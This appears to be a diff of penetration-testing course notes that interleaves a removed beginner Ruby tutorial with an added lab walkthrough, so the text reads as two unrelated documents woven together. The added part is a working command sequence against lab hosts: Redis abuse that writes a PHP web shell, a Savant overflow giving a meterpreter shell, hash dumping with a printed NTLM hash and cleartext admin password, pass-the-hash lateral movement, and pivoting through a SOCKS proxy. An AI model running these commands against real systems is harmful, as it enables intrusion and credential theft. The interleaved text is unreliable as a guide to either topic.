-- Now that we have created the classes let's create the objects
+cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
 umount -l /tmp/nfs
-first_attack = Attack.new
+
-first_attack.of = "stack"
+sudo apt-cache search fcrackzip
-first_attack.sqli = "blind"
+
-first_attack.xss = "dom"
+sudo apt-get install -y fcrackzip
-puts first_attack.of
+
-puts first_attack.sqli
+fcrackzip -D -p /home/infosecaddicts/list.txt
-puts first_attack.xss
+
 unzip -P aaaaaa backup.tar.bz2.zip
 
 tar -zxvf backup.tar.bz2
 
 
-- Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
+
-inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
+# Attacking Redis #
-one object can access the properties/attributes of another object of a different class. Inheritance makes your
+
-programming life easier by maximizing code reuse.
+sudo nmap -p 6379 --script=redis-info 10.0.0.120
 	infosecaddicts
 
 sudo apt-get install -y redis-tools
-class Exploitframeworks
+
-attr_accessor :scanners, :exploits, :shellcode, :postmodules
+
 redis-cli -h 10.0.0.120
-class Metasploit < Exploitframeworks
+
 CONFIG SET dir /var/www/html/main
-class Canvas < Exploitframeworks
+
 CONFIG GET dir
-class Coreimpact < Exploitframeworks
+
 config set dbfilename bomba.php
-class Saint < Exploitframeworks
+
 CONFIG GET dbfilename
-class Exploitpack < Exploitframeworks
+
 SET cmd "<?php system($_GET['joe']); ?>"
 
 BGSAVE
 
 http://10.0.0.120/bomba.php
 
-- Methods, More Objects, Arguments, String Functions and Expression Shortcuts
+http://10.0.0.120/bomba.php?joe=id
 
-- Let's create a simple method. A method is used to perform an action and is generally called with an object.
+
 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
-- Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
+
-it will print this string: "We are Learning how to PenTest"
+
 
-- An object named 'bo' is created, which is used to call the method.
+****** This section isn't finished ******
 Google is your friend hahahahahahahah........
 
-
+
-class Msfnl
+
-def learning
+
-puts "We are Learning how to PenTest"
+
 use auxiliary/scanner/redis/file_upload
 
 set RHOSTS 10.0.0.120
 
 set LocalFile
-- Now let's define an object for our Method
+
 ****** This section isn't finished ******
-joe = Msfnl.new
+
-joe.learning
+
 
 
 
 
-- An argument is a value or variable that is passed to the function while calling it. In the following example, while
+####################################
-calling the puts() function, we are sending a string value to the function. This string value is used by the
+# Finally, let's exploit something #
-function to perform some particular operations.
+####################################
 
-puts ("Pentesting")
+nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
 
 	https://www.exploit-db.com/search
 
-- shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
+	Search for:
-assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
+	Savant httpd 3.1
-statements to understand the shortcuts.
+	Apache httpd 2.0.58 ((Win32))
 
-g = 70
+
-g = g+44
+	Found one written in Python:
-g += 33
+	https://www.exploit-db.com/exploits/18401/
 
-- In the above statement, g is incremented by 33 and then the total value is assigned to g.
+	Found one for Savant 3.1 from Metasploit:
 	https://www.exploit-db.com/exploits/16770/
-g *= 3
+
 
-- In the above statement, g is multiplied with 3 and then assigned to g.
+
 cd ~/toolz/metasploit
-- Example
+
 use exploit/windows/http/savant_31_overflow
-- Comparison Operators, Loops, Data Types, and Constants
+set RHOST 10.0.0.15
 set PAYLOAD windows/meterpreter/bind_nonx_tcp
-- Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
+set RPORT 80
-how to use the following comparison operators.
+
-'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
+
-variable or constant. If it's less than the other, the 'less than' operator returns true.
+
-'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
+
-or constant. If it's equal to the other, the 'equal to' operator returns true.
+
-'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
+
-variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.
+
 
 ********************************** Figure out who and where you are **********************************
-numberofports = 55
+
-puts "number of ports found during scan" if numberofports < 300
+
-numberofports = 400
+
-puts "number of ports found during scan" if numberofports < 300
+
-puts "number of ports found during scan" if numberofports == 300
+
-puts "number of ports found during scan" if numberofports != 300
+
-Example
+
 meterpreter> ipconfig
 
-- the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.
+
 meterpreter> run post/windows/gather/checkvm
-- This operator is generally used to combine multiple conditions.
+
-- In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the
+
 meterpreter> run get_local_subnets
-- following example to understand how this operator works.
+
 
-ports = 100
+
-puts "number of ports found on the network" if ports<100 || ports>200
+
-puts "number of ports found on the network" if ports<100 || ports>75
+
 
 meterpreter> use priv
-# unless
+
 
-portsbelow1024 = 50
+
-puts "If the ports are below 1024" unless portsbelow1024 < 1000
+
-puts "If the ports are below 1024" unless portsbelow1024 < 1055
+
-puts "If the ports are below 1024" unless portsbelow1024 < 20
+
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
-- The 'unless' keyword is used to do something programmatically unless a condition is true.
+
 --------------------------------------------------------
 
 meterpreter> run killav
-- Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
+
 meterpreter> run post/windows/gather/hashdump
-- See the following example to understand how a string is printed 10 times on the screen using a loop.
+
 	Got the following admin hash:
-10.times do puts "infosecaddicts" end
+	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
 
-# Or use the curly braces
+
 
-10.times {puts "infosecaddicts"}
+
 
 meterpreter > kerberos
 
-- Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
+	This should give me the administrative password:
-working with different data types. Data type conversion is also known as type casting.
+	)K5?Jocb(Yx
 
 
 ********************************** Enumerate the host you are on **********************************
-- In the following example, a and b are integers. So when a is divided by b, an integer division is performed. As a
+
-result, 23/25 becomes 0.
+meterpreter> run winenum
 
-- On the other hand, the integer variables c and d are converted to float. So the division gives the result in decimal
+
-points.
+
 meterpreter > run post/windows/gather/enum_logged_on_users
-24/4
+
-14.0/5.0
+
-a = 23
+
-b = 25
+
-print a/b
+
-c = 26
+
-d = 33
+
-print c.to_f/d.to_f
+
 
 
 ********************************** Get out of Meterpreter **********************************
 
-- Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
+
-change the value of a constant, you will see a warning message.
+
 msf exploit(savant_31_overflow) > back
 
 msf>
 
-- Multiple Line String Variable, Interpolation, and Regular Expressions
+
 
-- A multiple line string variable lets you assign the value to the string variable through multiple lines.
+
 ********************************** Lateral Movement *******************************
-infosecaddicts = <<mark
+
-welcome
+
-to the
+
-best
+
-metasploit
+
-course
+
-on the
+
-market
+set SMBUser Administrator
-mark
+
-puts infosecaddicts
+set SMBPass )K5?Jocb(Yx
 
 set RHOST 10.0.0.15
 
-- Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
+set payload windows/meterpreter/bind_tcp
-it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
+
-Examine the following example to understand how interpolation works in Ruby.
+
 
 exploit
 
-a = 4
+********************************** Get out of Meterpreter **********************************
-b = 6
+
-puts "a * b = a*b"
+
-puts " #{a} * #{b} = #{a*b} "
+
-person = "Joe McCray"
+msf exploit(psexec) >back
-puts "IT Security consultant person"
+
-puts "IT Security consultant #{person}"
+msf>
 
-- Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
+**********************************
 
 -- Option 2:
-- Regular expression is a powerful technique for text searching and text manipulation. Ruby provides built-in support
+
-for regular expressions through the Regexp class. So the regular expressions in Ruby are the objects of Regexp type.
+
 set SMBUser Administrator
 
 set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
-- In regular expressions, we define patterns to perform text search and advanced text manipulations. String literals
+
-and metacharacters constitute a pattern. // characters mark the beginning and end of a pattern in Ruby.
+set payload windows/meterpreter/bind_tcp
-The following example shows how the substring "today"
+
-is placed in the main string.
+set RHOST 10.0.0.15
 
-a = "Woot Woot, we are learning regular expressions!!"
+
-puts a.sub(/^..../, 'Today')
+
-puts a.sub(/^..../, 'Today')
+
 
 
 
-- Let's Loop the expressions. This example shows how to loop the expressions.
+********************************** Set up your Pivot **********************************
 
-a.scan(/...../) {|w| puts w}
+meterpreter > background
-a.scan(/\S\S/) {|w| puts w}
+                                                        <-- background the session
         You want to get back to this prompt:
         msf exploit(handler) > back                     <--- you need to get to main msf> prompt
 
-- Character classes
+
 
-infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
+        sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
-"I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
+
-"I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
+        Now set up Pivot with a route add
         ---------------------------------
 
 route print												<--- should be blank
-- Arrays, Push and Pop, and Hashes
+
 route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
 
-- In the following example, numbers is an array that holds 6 integer numbers.
+
 route print                                             <----- verify new route
 
 ******************************Scan through your Pivot ******************************
-numbers = [2,4,6,8,10,100]
+
-puts numbers[0]
+use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
-puts numbers[4]
+
-numbers[2] = 150
+set THREADS 10
-puts numbers
+
 set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
 
 set PORTS 445
 
-- Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
+run
 
 
 ####################################
-framework = []
+# Socks Tunneling with Proxychains #
-framework << "modules"
+####################################
-framework << "exploits"
+--- Open a duplicate putty session to your Ubuntu host
-framework << "payloads"
+
-framework.pop
+sudo apt-get install -y proxychains
     infosecaddicts
 
-- Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
+sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
-that is used to access the element.
+
 
         Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
-- Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
+        socks4  127.0.0.1 1080
-In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
+
-respective values: 'what module should you use', 'Windows XP' and 'SSH'.
+***************************Set up a Socks Proxy through your Pivot *************************
 
 
-metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
+use auxiliary/server/socks4a
-print metasploit.size
+
-print metasploit["microsoft"]
+set SRVHOST 127.0.0.1
-metasploit['microsoft'] = 'redhat'
+
-print metasploit['microsoft']
+set SRVPORT 1080
 
 run
 
-- Writing Ruby Scripts
+        --- Go back to your other putty session with the meterpreter shell
 cd ~
 
-- Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
+proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 192.168.153.0/24          <--- This is going to be really slow
-this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
+
-someone made to look for a specific port. The port that it is looking for is port 21 FTP.
+proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
 
-cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
+
-ls
+        ---close the duplicate putty session to your Ubuntu host